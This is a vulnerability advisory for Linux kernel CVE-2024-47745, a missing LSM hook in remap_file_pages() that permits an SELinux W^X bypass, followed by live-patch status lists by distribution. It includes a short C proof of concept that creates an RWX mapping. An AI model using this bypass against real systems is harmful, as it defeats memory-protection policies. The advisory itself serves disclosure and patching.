CVE-2024-47745

Updated on 21 Oct 2024

Severity

7.8 High severity

Details

CVSS score
7.8
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Overview

About vulnerability

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn’t contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, “test”, 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Details

Fixes

KernelCare state

Live-patch status from KernelCare for each operating system.

Operating system Status Covered kernels
AlmaLinux 9 Released
50 kernels
  • 5.14.0-162.6.1.el9_1
  • 5.14.0-70.26.1.el9_0
  • 5.14.0-70.30.1.el9_0
  • 5.14.0-70.17.1.el9_0
  • 5.14.0-70.22.1.el9_0
  • 5.14.0-162.12.1.el9_1
  • 5.14.0-162.18.1.el9_1
  • 5.14.0-162.22.2.el9_1
  • 5.14.0-162.23.1.el9_1
  • 5.14.0-284.11.1.el9_2
  • 5.14.0-284.18.1.el9_2
  • 5.14.0-70.13.1.el9_0
  • 5.14.0-284.25.1.el9_2
  • 5.14.0-284.30.1.el9_2
  • 5.14.0-362.8.1.el9_3
  • 5.14.0-362.13.1.el9_3
  • 5.14.0-362.18.1.el9_3
  • 5.14.0-362.24.1.el9_3
  • 5.14.0-427.13.1.el9_4
  • 5.14.0-427.16.1.el9_4
  • 5.14.0-362.24.2.el9_3
  • 5.14.0-427.18.1.el9_4
  • 5.14.0-427.20.1.el9_4
  • 5.14.0-427.24.1.el9_4
  • 5.14.0-427.26.1.el9_4
  • 5.14.0-427.28.1.el9_4
  • 5.14.0-427.22.1.el9_4
  • 5.14.0-427.31.1.el9_4
  • 5.14.0-427.33.1.el9_4
  • 5.14.0-427.35.1.el9_4
  • 5.14.0-427.37.1.el9_4
  • 5.14.0-427.40.1.el9_4
  • 5.14.0-427.42.1.el9_4
  • 5.14.0-503.11.1.el9_5
  • 5.14.0-503.14.1.el9_5
  • 5.14.0-503.15.1.el9_5
  • 5.14.0-503.16.1.el9_5
  • 5.14.0-503.19.1.el9_5
  • 5.14.0-503.21.1.el9_5
  • 5.14.0-503.22.1.el9_5
  • 5.14.0-503.23.2.el9_5
  • 5.14.0-503.26.1.el9_5
  • 5.14.0-503.23.1.el9_5
  • 5.14.0-503.31.1.el9_5
  • 5.14.0-503.34.1.el9_5
  • 5.14.0-503.29.1.el9_5
  • 5.14.0-503.35.1.el9_5
  • 5.14.0-503.33.1.el9_5
  • 5.14.0-503.38.1.el9_5
  • 5.14.0-503.40.1.el9_5
Amazon Linux 2 Released
102 kernels
  • 4.14.152-127.182.amzn2
  • 4.14.154-128.181.amzn2
  • 4.14.165-131.185.amzn2
  • 4.14.146-120.181.amzn2
  • 4.14.152-124.171.amzn2
  • 4.14.171-136.231.amzn2
  • 4.14.158-129.185.amzn2
  • 4.14.165-133.209.amzn2
  • 4.14.173-137.228.amzn2
  • 4.14.177-139.254.amzn2
  • 4.14.173-137.229.amzn2
  • 4.14.177-139.253.amzn2
  • 4.14.181-140.257.amzn2
  • 4.14.186-146.268.amzn2
  • 4.14.181-142.260.amzn2
  • 4.14.192-147.314.amzn2
  • 4.14.193-149.317.amzn2
  • 4.14.198-152.320.amzn2
  • 4.14.200-155.322.amzn2
  • 4.14.203-156.332.amzn2
  • 4.14.209-160.335.amzn2
  • 4.14.214-160.339.amzn2
  • 4.14.209-160.339.amzn2
  • 4.14.219-161.340.amzn2
  • 4.14.225-168.357.amzn2
  • 4.14.231-173.360.amzn2
  • 4.14.219-164.354.amzn2
  • 4.14.225-169.362.amzn2
  • 4.14.232-176.381.amzn2
  • 4.14.232-177.418.amzn2
  • 4.14.238-182.421.amzn2
  • 4.14.238-182.422.amzn2
  • 4.14.231-173.361.amzn2
  • 4.14.241-184.433.amzn2
  • 4.14.243-185.433.amzn2
  • 4.14.246-187.474.amzn2
  • 4.14.248-189.473.amzn2
  • 4.14.252-195.481.amzn2
  • 4.14.252-195.483.amzn2
  • 4.14.256-197.484.amzn2
  • 4.14.262-200.489.amzn2
  • 4.14.268-205.500.amzn2
  • 4.14.273-207.502.amzn2
  • 4.14.275-207.503.amzn2
  • 4.14.276-211.499.amzn2
  • 4.14.281-212.502.amzn2
  • 4.14.285-215.501.amzn2
  • 4.14.287-215.504.amzn2
  • 4.14.290-217.505.amzn2
  • 4.14.291-218.527.amzn2
  • 4.14.294-220.533.amzn2
  • 4.14.296-222.539.amzn2
  • 4.14.299-223.520.amzn2
  • 4.14.301-224.520.amzn2
  • 4.14.304-226.531.amzn2
  • 4.14.301-225.528.amzn2
  • 4.14.309-231.529.amzn2
  • 4.14.305-227.531.amzn2
  • 4.14.313-235.533.amzn2
  • 4.14.314-237.533.amzn2
  • 4.14.314-238.539.amzn2
  • 4.14.318-240.529.amzn2
  • 4.14.318-241.531.amzn2
  • 4.14.320-242.534.amzn2
  • 4.14.320-243.544.amzn2
  • 4.14.322-244.536.amzn2
  • 4.14.311-233.529.amzn2
  • 4.14.322-244.539.amzn2
  • 4.14.326-245.539.amzn2
  • 4.14.327-246.539.amzn2
  • 4.14.328-248.540.amzn2
  • 4.14.322-246.539.amzn2
  • 4.14.330-250.540.amzn2
  • 4.14.334-252.552.amzn2
  • 4.14.336-253.554.amzn2
  • 4.14.336-255.557.amzn2
  • 4.14.336-256.559.amzn2
  • 4.14.336-257.562.amzn2
  • 4.14.336-256.557.amzn2
  • 4.14.336-257.568.amzn2
  • 4.14.336-257.566.amzn2
  • 4.14.343-261.564.amzn2
  • 4.14.343-259.562.amzn2
  • 4.14.343-260.564.amzn2
  • 4.14.348-265.562.amzn2
  • 4.14.344-262.563.amzn2
  • 4.14.345-262.561.amzn2
  • 4.14.348-265.565.amzn2
  • 4.14.349-266.564.amzn2
  • 4.14.350-266.564.amzn2
  • 4.14.352-268.568.amzn2
  • 4.14.352-267.564.amzn2
  • 4.14.353-270.569.amzn2
  • 4.14.352-268.569.amzn2
  • 4.14.355-271.569.amzn2
  • 4.14.355-275.582.amzn2
  • 4.14.355-275.570.amzn2
  • 4.14.355-275.572.amzn2
  • 4.14.355-275.591.amzn2
  • 4.14.355-275.603.amzn2
  • 4.14.355-276.618.amzn2
  • 4.14.355-274.598.amzn2
Amazon Linux 2023 Planned
CentOS 7 ELS Released
8 kernels
  • 3.10.0-1160.119.1.el7.tuxcare.els10
  • 3.10.0-1160.119.1.el7.tuxcare.els4
  • 3.10.0-1160.119.1.el7.tuxcare.els6
  • 3.10.0-1160.119.1.el7.tuxcare.els5
  • 3.10.0-1160.119.1.el7.tuxcare.els3
  • 3.10.0-1160.119.1.el7.tuxcare.els7
  • 3.10.0-1160.119.1.el7.tuxcare.els9
  • 3.10.0-1160.119.1.el7.tuxcare.els8
Debian 12 Released
19 kernels
  • 6.1.112-1
  • 6.1.76-1
  • 6.1.85-1
  • 6.1.115-1
  • 6.1.119-1
  • 6.1.27-1
  • 6.1.38-1
  • 6.1.38-2
  • 6.1.38-4
  • 6.1.52-1
  • 6.1.55-1
  • 6.1.64-1
  • 6.1.66-1
  • 6.1.67-1
  • 6.1.69-1
  • 6.1.90-1
  • 6.1.94-1
  • 6.1.99-1
  • 6.1.106-3
Oracle Linux 9 Released
56 kernels
  • 5.14.0-70.13.1.0.3.el9_0
  • 5.14.0-70.17.1.0.1.el9_0
  • 5.14.0-70.22.1.0.1.el9_0
  • 5.14.0-70.26.1.0.1.el9_0
  • 5.14.0-162.6.1.el9_1
  • 5.14.0-284.11.1.el9_2
  • 5.14.0-162.23.1.el9_1
  • 5.14.0-162.22.2.el9_1
  • 5.14.0-162.18.1.el9_1
  • 5.14.0-162.12.1.el9_1
  • 5.14.0-70.30.1.0.1.el9_0
  • 5.14.0-284.18.1.el9_2
  • 5.14.0-284.25.1.el9_2
  • 5.14.0-284.25.1.0.1.el9_2
  • 5.14.0-284.30.0.1.el9_2
  • 5.14.0-284.30.1.el9_2
  • 5.14.0-362.8.1.el9_3
  • 5.14.0-362.13.0.1.el9_3
  • 5.14.0-362.13.1.el9_3
  • 5.14.0-362.18.0.1.el9_3
  • 5.14.0-362.18.0.2.el9_3
  • 5.14.0-362.18.1.el9_3
  • 5.14.0-362.24.1.el9_3
  • 5.14.0-362.24.1.0.1.el9_3
  • 5.14.0-427.13.1.el9_4
  • 5.14.0-427.16.1.el9_4
  • 5.14.0-362.24.1.0.2.el9_3
  • 5.14.0-427.18.1.el9_4
  • 5.14.0-427.20.1.el9_4
  • 5.14.0-427.22.1.el9_4
  • 5.14.0-427.24.1.el9_4
  • 5.14.0-427.26.1.el9_4
  • 5.14.0-427.28.1.el9_4
  • 5.14.0-427.31.1.el9_4
  • 5.14.0-427.33.1.el9_4
  • 5.14.0-427.35.1.el9_4
  • 5.14.0-427.37.1.el9_4
  • 5.14.0-427.40.1.el9_4
  • 5.14.0-427.42.1.el9_4
  • 5.14.0-503.11.1.el9_5
  • 5.14.0-503.14.1.el9_5
  • 5.14.0-503.15.1.el9_5
  • 5.14.0-503.16.1.el9_5
  • 5.14.0-503.19.1.el9_5
  • 5.14.0-503.21.1.el9_5
  • 5.14.0-503.22.1.el9_5
  • 5.14.0-503.23.1.el9_5
  • 5.14.0-503.23.2.el9_5
  • 5.14.0-503.26.1.el9_5
  • 5.14.0-503.31.1.el9_5
  • 5.14.0-503.29.1.el9_5
  • 5.14.0-503.33.1.el9_5
  • 5.14.0-503.34.1.el9_5
  • 5.14.0-503.35.1.el9_5
  • 5.14.0-503.38.1.el9_5
  • 5.14.0-503.40.1.el9_5
RHEL 9 Released
50 kernels
  • 5.14.0-70.17.1.el9_0
  • 5.14.0-70.22.1.el9_0
  • 5.14.0-70.5.1.el9_0
  • 5.14.0-70.13.1.el9_0
  • 5.14.0-70.26.1.el9_0
  • 5.14.0-70.30.1.el9_0
  • 5.14.0-162.6.1.el9_1
  • 5.14.0-162.12.1.el9_1
  • 5.14.0-162.18.1.el9_1
  • 5.14.0-162.22.2.el9_1
  • 5.14.0-162.23.1.el9_1
  • 5.14.0-284.11.1.el9_2
  • 5.14.0-284.18.1.el9_2
  • 5.14.0-284.25.1.el9_2
  • 5.14.0-284.30.1.el9_2
  • 5.14.0-362.8.1.el9_3
  • 5.14.0-362.13.1.el9_3
  • 5.14.0-362.18.1.el9_3
  • 5.14.0-362.24.1.el9_3
  • 5.14.0-427.13.1.el9_4
  • 5.14.0-427.16.1.el9_4
  • 5.14.0-427.18.1.el9_4
  • 5.14.0-427.20.1.el9_4
  • 5.14.0-427.22.1.el9_4
  • 5.14.0-427.24.1.el9_4
  • 5.14.0-427.26.1.el9_4
  • 5.14.0-427.28.1.el9_4
  • 5.14.0-427.31.1.el9_4
  • 5.14.0-427.33.1.el9_4
  • 5.14.0-427.35.1.el9_4
  • 5.14.0-427.37.1.el9_4
  • 5.14.0-427.40.1.el9_4
  • 5.14.0-427.42.1.el9_4
  • 5.14.0-503.11.1.el9_5
  • 5.14.0-503.14.1.el9_5
  • 5.14.0-503.15.1.el9_5
  • 5.14.0-503.16.1.el9_5
  • 5.14.0-503.19.1.el9_5
  • 5.14.0-503.21.1.el9_5
  • 5.14.0-503.22.1.el9_5
  • 5.14.0-503.23.1.el9_5
  • 5.14.0-503.23.2.el9_5
  • 5.14.0-503.26.1.el9_5
  • 5.14.0-503.29.1.el9_5
  • 5.14.0-503.31.1.el9_5
  • 5.14.0-503.33.1.el9_5
  • 5.14.0-503.34.1.el9_5
  • 5.14.0-503.35.1.el9_5
  • 5.14.0-503.38.1.el9_5
  • 5.14.0-503.40.1.el9_5
Rocky Linux 9 Released
49 kernels
  • 5.14.0-162.6.1.el9_1
  • 5.14.0-70.26.1.el9_0
  • 5.14.0-70.30.1.el9_0
  • 5.14.0-70.22.1.el9_0
  • 5.14.0-162.6.1.el9_1.0.1
  • 5.14.0-162.18.1.el9_1
  • 5.14.0-162.12.1.el9_1.0.1
  • 5.14.0-162.12.1.el9_1.0.2
  • 5.14.0-162.22.2.el9_1
  • 5.14.0-162.23.1.el9_1
  • 5.14.0-284.30.1.el9_2
  • 5.14.0-362.8.1.el9_3
  • 5.14.0-362.13.1.el9_3
  • 5.14.0-362.18.1.el9_3
  • 5.14.0-362.24.1.el9_3
  • 5.14.0-362.18.1.el9_3.0.1
  • 5.14.0-427.16.1.el9_4
  • 5.14.0-362.24.1.el9_3.0.1
  • 5.14.0-427.18.1.el9_4
  • 5.14.0-427.20.1.el9_4
  • 5.14.0-427.24.1.el9_4
  • 5.14.0-427.26.1.el9_4
  • 5.14.0-427.28.1.el9_4
  • 5.14.0-427.20.1.el9_4.0.1
  • 5.14.0-427.22.1.el9_4
  • 5.14.0-427.31.1.el9_4
  • 5.14.0-427.33.1.el9_4
  • 5.14.0-427.35.1.el9_4
  • 5.14.0-427.37.1.el9_4
  • 5.14.0-427.40.1.el9_4
  • 5.14.0-427.42.1.el9_4
  • 5.14.0-503.14.1.el9_5
  • 5.14.0-503.15.1.el9_5
  • 5.14.0-503.16.1.el9_5
  • 5.14.0-503.19.1.el9_5
  • 5.14.0-503.21.1.el9_5
  • 5.14.0-503.22.1.el9_5
  • 5.14.0-503.23.2.el9_5
  • 5.14.0-503.26.1.el9_5
  • 5.14.0-503.23.1.el9_5
  • 5.14.0-503.31.1.el9_5
  • 5.14.0-503.34.1.el9_5
  • 5.14.0-503.29.1.el9_5
  • 5.14.0-503.35.1.el9_5
  • 5.14.0-503.33.1.el9_5
  • 5.14.0-503.38.1.el9_5
  • 5.14.0-503.40.1.el9_5
  • 5.14.0-284.11.1.el9_2
  • 5.14.0-427.13.1.el9_4
Ubuntu 24.04 Released
15 kernels
  • 6.8.0-35.35
  • 6.8.0-38.38
  • 6.8.0-36.36
  • 6.8.0-39.39
  • 6.8.0-40.40
  • 6.8.0-41.41
  • 6.8.0-44.44
  • 6.8.0-45.45
  • 6.8.0-31.31
  • 6.8.0-47.47
  • 6.8.0-48.48
  • 6.8.0-49.49
  • 6.8.0-50.51
  • 6.8.0-51.52
  • 6.8.0-52.53